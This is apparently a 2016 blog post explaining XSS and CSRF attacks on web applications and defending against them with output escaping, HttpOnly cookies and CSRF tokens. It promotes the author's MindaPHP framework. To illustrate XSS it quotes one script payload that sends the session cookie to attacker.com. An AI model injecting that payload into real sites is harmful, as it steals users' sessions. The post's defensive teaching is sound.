06 Mar 2016 - by 'Maurits van der Schee'
This post will explain what XSS and CSRF attacks on web applications are and also what the best practices are to counter them. It will explain the mitigation techniques: Output escaping, "HttpOnly" cookie and CSRF-token.
The HTML that your web application constructs may contain data the user entered. For instance, you may be showing the full name of the user. You need to ensure the user cannot enter "<script>document.location='http://attacker.com/'+document.cookie;</script>" as this will post your session cookie on the attackers website whenever you are are looking at the user's full name. This can be achieved by input and/or output escaping. I feel you should not escape your input, but you should validate and sanitize it. I feel you must escape all output and many frameworks agree and have encapsulated it in there view rendering engines (Razor, Twig, Jinja).
When a form is submitted it should always contain a value that identifies the session that is being used. Since that value is not constant and unique for the session that is being used the attacker is unable to predict this value. Typically the CSRF token is a random value that is created and stored in the session when the session is started. When a form is submitted, the presence of the CSRF token field is checked and only if the submitted value matches the session value the form is processed. This effectively prevents attackers from successfully cross-posting forms.
The above security practices are implemented in MindaPHP, a full-stack framework that is: easy to learn, secure by design and light-weight. Note that this blog is running on MindaBlog, blogging software built on MindaPHP.